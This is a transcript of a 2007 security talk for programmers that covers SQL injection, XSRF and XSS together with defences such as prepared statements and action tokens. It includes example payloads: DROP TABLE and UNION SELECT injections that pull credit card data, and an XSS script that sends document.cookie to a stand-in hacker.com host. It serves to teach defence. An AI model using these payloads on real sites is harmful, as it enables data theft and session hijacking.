What Every Programmer Needs To Know About - PowerPoint PPT Presentation

1 / 60
About This Presentation
Title:

What Every Programmer Needs To Know About

Description:

apps w/ user info, profiles (e.g., Facebook) apps that do financial transactions for users ... Once found, login to router and change DNS server ... – PowerPoint PPT presentation

Number of Views:166
Avg rating:3.0/5.0
Slides: 61
Provided by: a1584
Category:

less

Transcript and Presenter's Notes

Title: What Every Programmer Needs To Know About


1
What Every ProgrammerNeeds To Know
About Security and Where To Learn It Neil
Daswani October 2007 http//www.neildaswani.com/
2
Is the sky falling?
  • TJX (March 2007)
  • owns TJ Maxx, Marshalls, and other dept stores
  • attacks exploited WEP used at branches
  • over 47 million credit card (CC) s dating back
    to 2002
  • CardSystems (June 2005)
  • credit card payment processing company out of
    business
  • 263,000 CC s stolen from database via SQL
    Injection
  • 43 million CC s stored unencrypted /
    compromised
  • Enter sql injection on news.google.com for
    more...
  • Additional Data Theftwww.privacyrights.org/ar/Ch
    ronDataBreaches.htm(153M compromised records
    over 300 incidents in 2006 alone)

3
Overview
  • High-Impact Threats DefensesSQL Injection and
    XSRF(Do not try these attacks on real sites!)
  • Vulnerability Trends
  • Where To Learn MoreCourses/Certifications,
    Books, Websites

4
SQL Injection Example
Web Browser
Web Server
Database
Username Password
Normal Query
SELECT passwd FROM USERS WHERE uname IS
username
5
SQL Injection Example
Attacker Provides This Input
6
SQL Injection Example
Web Browser
Web Server
Database
Username Password
Malicious Query
SELECT passwd FROM USERS WHERE uname IS DROP
TABLEUSERS -- '
Eliminates all user accounts
7
http//xkcd.com/327/
8
SQL Injection Example
View pizza order history
action"..." Month value"1"Jan ... value"12"Dec typesubmit namesubmit
valueView
9
SQL Injection Example
Normal SQL Query
SELECT pizza, toppings, quantity,
order_day FROM orders WHERE userid4123 AND
order_month10
Type 2 Attack
For order_month parameter, attacker could input
0 OR 11
WHERE condition is always true! Gives attacker
access to other users private data!
11"Dec
Malicious Query
WHERE userid4123 AND order_month0 OR 11
10
SQL Injection Example
All User Data Compromised
11
SQL Injection Example
  • A more damaging breach of user privacy
  • Attacker is able to
  • Combine the results of two queries
  • Empty table from first query with the sensitive
    credit card info of all users from second query

For order_month parameter, attacker could input
0 AND 10UNION SELECT cardholder, number,
exp_month, exp_year FROM
creditcards
12
SQL Injection Example
Credit Card Info Compromised
13
Preventing SQL Injection
  • Whitelisting
  • Why? Blacklisting chars doesnt work
  • Forget to filter out some characters
  • Could prevent valid input (e.g. username OBrien)
  • Allow well-defined set of safe valuesA-Za-z0-9
    0-10-9
  • Valid input set defined through reg. expressions
  • Can be implemented in a web application
    firewall(e.g., mod_security)
  • Escaping
  • For valid string inputs like username oconnor,
    use escape characters. Ex escape(oconnor)
    oconnor (only works for string inputs)

14
Prepared Statements Bind Variables
PreparedStatement ps db.prepareStatement(
"SELECT pizza, toppings, quantity,
order_day FROM orders WHERE userid?
AND order_month?") ps.setInt(1,
session.getCurrentUserId()) ps.setInt(2,
Integer.parseInt( request.getParamete
r("month"))) ResultSet res ps.executeQuery()
Bind Variables Data Placeholders
  • query parsed w/o parameters
  • bind variables are typed e.g. int, string, etc

15
Additional Mitigations
  • What else helps?
  • Limit Privileges (Defense-in-Depth)
  • Harden DB Server and Host OS
  • What else do I need to learn about SQL Injection?
  • Second Order SQL Injection
  • Blind SQL Injection

16
Threats
  • Unvalidated Input
  • SQL Injection
  • Cross-Site-Scripting (XSS)
  • Design Errors
  • Cross-Site-Request-Forgery (XSRF)
  • Boundary Conditions
  • Exception Handling
  • Access Validation

17
Cross-Site-RequestForgery (XSRF)
  • Alice is using our (good) web-application
  • www.bank.com
  • (assume user is logged in w/ cookie)
  • At the same time (i.e. same browser session),
    shes also visiting a malicious
    web-application www.evil.org

18
How XSRF Works
bank.com
Alice
/authunamevictimpassfmd9032
19
How XSRF Works
evil.org
bank.com
Alice
20
XSRF Write-only
  • Malicious site cant read info (due to
    same-origin
  • policy), but can make write requests to our app!
  • Can still cause damage
  • in Alices case, attacker gained control of her
    account with full read/write access!
  • Who should worry about XSRF?
  • apps w/ user info, profiles (e.g., Facebook)
  • apps that do financial transactions for users
  • any app that stores user data

21
Yet Another XSRF Home Routers SRJ07
  • Fact 50 of home users use a broadband router
    with a default or no password
  • Drive-by Pharming attack User visits malicious
    site
  • JavaScript at site scans home network looking for
    broadband router
  • Same-Origin-Policy allows send only messages
  • Detect success using onerror
  • Once found, login to router and change DNS server
  • Problem send-only access is sufficient to
    reprogram router

22
Preventing XSRF
  • Inspecting Referer Headers
  • specifies the document originating the request
  • ok, but not practical since it could be forged or
    blanked (even by legitimate users)
  • Web Application Firewall
  • doesnt work because request looks authentic to
    bank.com
  • Validation via User-Provided Secret
  • ask for current password for important
    transactions
  • Validation via Action Token
  • add special tokens to genuine forms to
    distinguish them from forged forms

23
Vulernability Trends (Overall/MITRE)
2006
2001
24
Overall Trends
  • Attacks are increasing
  • Big four are about the same (regardless of vuln
    database)
  • Cross-Site-Scripting (XSS, XSRF, XSSI)
  • Injection (SQL, PHP-includes)
  • Memory Corruption (buffer overflows, integer
    overflows, format strings, etc)
  • Denial-of-Service

25
What should I do?
  • Engineers
  • Developers
  • Programmers
  • Architects1) Arm yourself!2) Elect a security
    czar for each project

26
What Every EngineerNeeds To Know...
  • Secure Design least privilege, fail-safe stance,
    weakest link, etc.
  • Technical Flaws
  • XSS / XSRF / XSSI
  • Injection / Remote Code Execution
  • Directory Traversal
  • Race Conditions (e.g., TOCTOU)
  • Memory Corruption
  • Attacks
  • Data Theft
  • Authentication / Authorization Bypass
  • Denial-of-Service
  • Privilege Escalation
  • Information Leakage

27
Where to learn more?
  • Courses
  • Certification Programs
  • Books
  • Websites(not comprehensive)

28
Security Courses
  • Cryptography Upper Division Courses(at almost
    every major university)
  • Some systems security courses(e.g., CS155 _at_
    Stanford, CS161 _at_ UC Berkeley)
  • More crypto and security courses listed
    athttp//avirubin.com/courses.html

29
Stanford Advanced Security Certificate
  • Online (anytime) or On-Campus (one week)
  • Required 3 core courses 3 electives
  • Hands-on labs conducting attacks constructing
    defenses
  • Security Foundations Certificate also available
  • http//proed.stanford.edu/?advancedsecurityto
    sign up!

30
Stanford Advanced Security Certificate
  • CORE COURSES
  • Using Cryptography Correctly
  • Writing Secure Code
  • Security Protocols
  • ELECTIVES
  • Computer Security Management Recent Threats,
    Trends the Law
  • Designing/Building Secure Networks
  • Emerging Threats and Defenses
  • Securing Web Applications
  • Systems Security
  • SPECIAL ELECTIVE
  • Computer Security Foundations Certificate

31
Other Security Certification Programs
  • CISSP (offered by ISC2)
  • prepares for administration / gov't jobs in
    security
  • credential can be used for PCI compliance
  • multiple-choice test
  • GIAC Secure Software Programmer(offered by SANS)
  • secure programming assessment
  • multiple choice (questions in development)
  • new offering first exam was Aug 2007

32
Books
  • Foundations of SecurityWhat Every Programmer
    Needs To Know(Daswani / Kern / Kesavan)
  • Security Engineering (Anderson)
  • Building Secure Software (Viega / McGraw)
  • Secure Programming Cookbook (Viega / Messier)

33
Websites
  • OWASP / Top Tenwww.owasp.org (chapters in
    almost every major city)
  • Security Focus / Bugtraqwww.securityfocus.com
  • code.google.com/edu

34
OWASP Top 10
2004
2007
  • A1 Cross Site Scripting (XSS)
  • A2 Injection Flaws (e.g., SQL injection)
  • A3 Malicious File Execution (i.e., PHP)
  • A4 Insecure Direct Object Reference
  • A5 Cross Site Request Forgery (CSRF)
  • A6 Information Leakage and Improper Error
    Handling
  • A7 Broken Authentication / Session Mgmt
  • A8 Insecure Cryptographic Storage
  • A9 Insecure Communications
  • A10 Failure to Restrict URL Access
  • A1 Unvalidated Input
  • A2 Broken Access Control
  • A3 Broken Authentication / Session Mg
  • A4 Cross Site Scripting
  • A5 Buffer Overflow
  • A6 Injection Flaws
  • A7 Improper Error Handling
  • A8 Insecure Storage
  • A9 Application Denial of Service
  • A10 Insecure Configuration Management

35
Security Focus
  • www.securityfocus.com / Home of Bugtraq
  • Articles / Mailing Lists / Vuln. Reports
  • Focus areas
  • Foundations
  • Microsoft / Unix
  • IDS
  • Incident Response
  • Viruses / Malware
  • Penetration Testing
  • Firewalls

36
code.google.com/edu Web Security
  • Free available for external use
  • Ex. DoS against web server

37
To conclude...
  • Every engineer should be a software security
    practitioner
  • Were looking for some bright engineers!(applicat
    ion security, botnets, etc.)
  • Links / Pointers http//www.learnsecurity.com/
    Click on Resources
  • Neil Daswanidaswani_at_google.comhttp//www.neildas
    wani.com

38
Backup Slides Follow
39
Last Remarks
  • Interested in jobs?(software security, botnets,
    ...)
  • Items in the back
  • Free books
  • Stanford Security Certification Brochures
  • Need security help / consulting?

40
Cross-Site Scripting (XSS)
  • What if attacker can get a malicious script to be
    executed in our application?
    http//deliver-me-pizza.com/submit_order?addr123
    mainst value123mainst
  • Ex our app could have a query parameter in the
    URL and print it out on page
  • Suppose input data is not filtered
  • Attacker could inject a malicious script!
  • Other Sources of Untrusted Data
  • HTML form fields
  • URL path (e.g. in a Document Not Found error)

41
XSS Example
1. Attacker tricks Alice into visiting his page.
2. Page loads URL of query to our app with this
parameter injected
http//deliver-me-pizza.com/submit_order?addr
3D20223E3Cscript3Ealert28document.cookie29
3B3C/script3E0A
printed on our HTML source
translates
alert(document.cookie)
3. Any arbitrary script attacker chooses, can be
executed on our application site!
How much damage can the malicious script cause?
42
XSS Exploits
  • Stealing Cookies
  • the malicious script could cause the browser to
    send attacker all cookies for our apps domain.
    Ex "inew Image()
    i.src'http//www.hacker.com/sendmail.php?toatta
    cker_at_hacker.compayload'document.cookie
    t
  • gives attacker full access to Alices session
  • Scripting the Vulnerable App
  • complex script with specific goal
  • e.g. get personal user info, transfer funds, etc
  • doesnt have to make a direct attack, revealing
    his IP address, harder to trace
  • Modifying Web Pages

43
Mitigating XSS
  • Input Validation
  • XSS is not just a input validation problem
  • strings with HTML metachars not a problem until
    theyre displayed on the webpage
  • might be valid elsewhere, e.g. in a database
  • Output Sanitization
  • check strings as theyre inserted into HTML doc
  • HTML Escaping
  • escape some chars with their literals
  • e.g. amp rt quot
  • HTTP-Only Cookies
  • HTTPOnly attribute on cookie in IE prevents it
    from being exposed to client-side scripts
  • can prevent traditional session hijacking
  • incomplete protection

44
Cross-Domain Security
  • Domain where our applications and services are
    hosted
  • Same-Origin-Policy (SOP) script is only allowed
    to connect back to the origin (domain,port,protoco
    l) from which it was served
  • Cross-domain security threats due to
    interactions between our applications and pages
    on other domains

45
Vulnerability Trends(OS Vendors/MITRE)
2006
2001
46
Vulnerabilities Stats
  • Boundary Conditions
  • Exception Handling
  • Access Validation
  • Disclaimer on Categorization
  • Input Validation
  • Design Errors

source securityfocus vulnerability database
47
source securityfocus vulnerability database
48
Prepared Statements Bind Variables
  • Metacharacters (e.g. ) in queries provide
    distinction between data control
  • Most attacks data interpreted as control /
    alters the semantics of a query/cmd
  • Bind Variables ? placeholders guaranteed to be
    data (not control)
  • Prepared Statements allow creation of static
    queries with bind variables ? preserves the
    structure of intended query

49
Source securityfocus vulnerability database
50
More XSRF
  • Malicious site can initiate HTTP requests to our
    app on Alices behalf, w/o her knowledge
  • authentication cookies stored in browser cache
    are sent to our server regardless of who made the
    request
  • Another Example change password feature on our
    app (update_password)
  • Hacker site could execute a script to send a fake
    password-change request
  • authenticates b/c cookies are sent

51
More XSRF
1. Alices browser loads page from www.evil.org
2. Evil Script runs causing evilform to be
submitted with a password-change request to our
good form www.bank.com/update_password with
a field
evilform
3. Browser sends authentication cookies to our
app. Were hoodwinked into thinking the request
is from Alice. Her password is changed to
evilhax0r!
52
Security Books
  • Foundations of Security What Every Programmer
    Needs To Know
  • Daswani / Kern / Kesavan
  • Topics
  • Secure design principles
  • Web applicationattacks defenses
  • Intro. to Cryptography
  • Free slides _at_ www.learnsecurity.com

53
Security Books
  • Security Engineering
  • Ross Anderson
  • Available online(for free)
  • http//www.cl.cam.ac.uk/rja14/book.html

54
Security Books
  • Building Secure Software
  • Viega / McGrawClassic Text
  • Other books by McGraw Co- Exploiting
    Software- Software Security

55
Security Books
  • Secure Programming Cookbookfor C and C
  • Viega / Messier
  • Lots of code exampleson how to use
    cryptocorrectly

56
What should I do?
  • Managers(Project, Product, Directors, CIOs,
    CTOs, etc) 1) Organize to achieve security
    2) Modify dev lifecycle as necessary 3)
    Invest in security training

57
Organizing...
Gatekeepers
Satellites
Authority
Advisors
Centralization
58
Gatekeepers
  • Centralized Security Department with Approval
    Authority
  • Security Dept accountable for every line of
    deployed code, and must provide explicit approval
    for every deployment.
  • Pros
  • High level of accountability
  • Tight control
  • Cons
  • Scalability
  • Could stifle innovation
  • Bottleneck
  • Development might become tight-lipped (or
    work-around security)

59
Advisors
  • Security Consulting Department with Escalation
    Authority
  • Security Department provides feedback to product
    teams when requested, or can actively probe
  • Pros
  • More openness to share risks
  • Cons
  • Less accountability
  • Frequent escalation will de-sensitize executives

60
Satellites
  • Decentralized Security Staff / Virtual
    Department
  • Put developers with security expertise on the
    product teams. Rotate if necessary.
  • Or, train one of the developers on each product
    team to be security czar.
  • Pros
  • Security recommendations more likely to be
    implemented
  • Cons
  • Less flexibility in moving security engineers to
    most high risk projects fast.
Write a Comment
User Comments (0)
About PowerShow.com